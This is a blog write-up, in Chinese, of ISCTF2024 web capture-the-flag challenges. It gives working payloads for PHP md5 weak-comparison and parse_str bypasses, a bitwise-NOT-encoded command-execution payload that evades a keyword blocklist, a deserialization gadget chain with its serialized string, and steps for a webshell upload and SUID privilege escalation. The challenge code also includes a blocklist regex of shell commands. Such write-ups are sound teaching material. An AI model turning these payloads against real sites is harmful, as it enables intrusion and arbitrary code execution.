ISCTF2024复现
25时晓山瑞希生日会
htt头伪造:
伪造日期:
搜索得知 25时生日会 是在八月二十七举办,伪造日期即可得到 flag
1
| Date: Tue, 27 Aug 2024 12:41:59 GMT
|
小蓝鲨的冒险
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); $a = "isctf2024"; $b = $_GET["b"]; @parse_str($b); echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>"; if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { $num = $_POST["num"]; echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>"; if($num == 2024){ die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!"); } if(preg_match("/[a-z]/i", $num)){ die("陷阱太多QAQ"); } if(intval($num,0) == 2024){ echo "到这了难道还要放弃吗?<br>"; if (isset($_GET['which'])){ $which = $_GET['which']; echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!"; switch ($which){ case 0: print('QAQ'); case 1: case 2: require_once $which.'.php'; echo $flag; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } } }
|
第一层:考察 md5 弱比较和 parse_[str 函数](https://so.csdn.net/so/search?q=str 函数&spm=1001.2101.3001.7020)
0e开头后面全为数字,弱类型比较都等于0,用 s878926199a 绕过
parse_str 把字符串 a[0] 当成变量解析,从而赋值
第二层:num 中不能有字母,还不能等 2024,,同时还要绕过 intval 函数
使用进制转化绕过,八进制中不含字母,可以使用0 3750 绕过
第三层:直接写个 flag 就绕过了
综上,写入以下 payload 即可绕过:
1 2
| ?b=a[0]=s878926199a&which=flag num=03750
|
ezrce
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
error_reporting(0);
if (isset($_GET['cmd'])) { $cmd = $_GET['cmd'];
if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) { die("Blocked by security filter!"); } else { eval($cmd); }
} else { highlight_file(__FILE__); } ?>
|
利用无数字字母 rce 之取反,即可绕过。脚本如下:
1 2 3 4 5 6 7 8 9 10
| <?php
fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
|
payload 如下:
1
| ?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
|
小蓝鲨的秘密
这题点开链接就是官网,能直接打官网嘛,包不能的,考虑重定向
抓一个点击链接的包即可得到 flag(这个没想到)
天命人
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php class Wuzhishan{ public $wu="俺老孙定要踏破这五指山!<br>"; public $zhi; public $shan;
function __get($j) { echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>"; $yin="s214587387a"; $yang=$_GET['J']; if (md5($yin)==$yang&&md5($yin)==md5($yang)){ echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>"; system('cat /flag'); } }
} class Huoyanjinjing{ public $huoyan; public $jinjing; function __get($huo) { $this->huoyan="火眼能洞察一切邪祟!<br>"; echo $this->huoyan->jinjing; } function __invoke() { $this->jinjing="金睛能看破世间迷惘!<br>"; echo $this->huoyan->jinjing; } } class Dinghaishenzhen{ public $Jindou="一个筋斗能翻十万八千里!<br>"; public $yun;
function __toString() { $f=$this->yun; $f(); return "你真的逃出去了吗?天命人?<br>"; }
} class Jingdouyun{ public $Qishier=72; public $bian="看俺老孙七十二变!<br>";
function __sleep() { echo "三更敲门,菩提老祖送我筋斗云...<br>"; echo new Jindouyun(); }
} class Tianmingren { public $tianming; public $ren; function __destruct() { echo "迷途中的羔羊,你相信天命吗?<br>"; echo $this->tianming; } } $data = unserialize($_POST['Wukong']); throw new Exception('开局一根棍,装备全靠打。');
|
命令执行部分是个简单的 md5 绕过
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
链子部分就正常的构造,链子如下:
1
| Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan
|
先创建 Tianmingren 对象触发 __destruct() 魔术方法
将tianming 赋值为 Dinghaishenzhen 对象触发 __toString() 魔术方法
将属性 yun 赋值为Huoyanjinjing 对象,对象被当成函数调用触发 __invoke() 魔术方法
将属性 huoyan 赋值为 Wuzhishan 对象,访问对象不存在的属性 jinjing 触发 __get() 魔术方法
1 2 3 4
| $payload=new Tianmingren(); $payload->tianming=new Dinghaishenzhen(); $payload->tianming->yun = new Huoyanjinjing(); $payload->tianming->yun->huoyan=new Wuzhishan();
|
然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走
然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走
使用数组进行绕过
1 2 3 4
| $exp = array($payload,0); echo (serialize($exp));
// a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}
|
将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct()
1
| a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}
|
传入 payload 即可得到 flag
![image-20241120215848871](https://zty--666.oss-cn-shanghai.aliyuncs.com/202411202158317.png)
### 小蓝鲨的临时存储室
没有任何限制,php一句话密码进去,然后发现一段时间被删了,直接/flag被拒绝了,那就是suid提权
1
| find / -perm -u=s -type f 2>/dev/null
|
但是这个好像没用
找一下有root权限还给看修改的可执行文件
发现根目录下的/down_file.sh,进去发现就是它在删php文件,直接给它这行代码删了直接加点小料
最后找到111.txt,可以打开
![image-20241120222032523](https://zty--666.oss-cn-shanghai.aliyuncs.com/202411202220622.png)
![image-20241120222040012](https://zty--666.oss-cn-shanghai.aliyuncs.com/202411202220120.png)
获取flag
Author:
odiws
Permalink:
http://odiws.github.io/2024/11/20/ISCTF2024%E5%A4%8D%E7%8E%B0/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?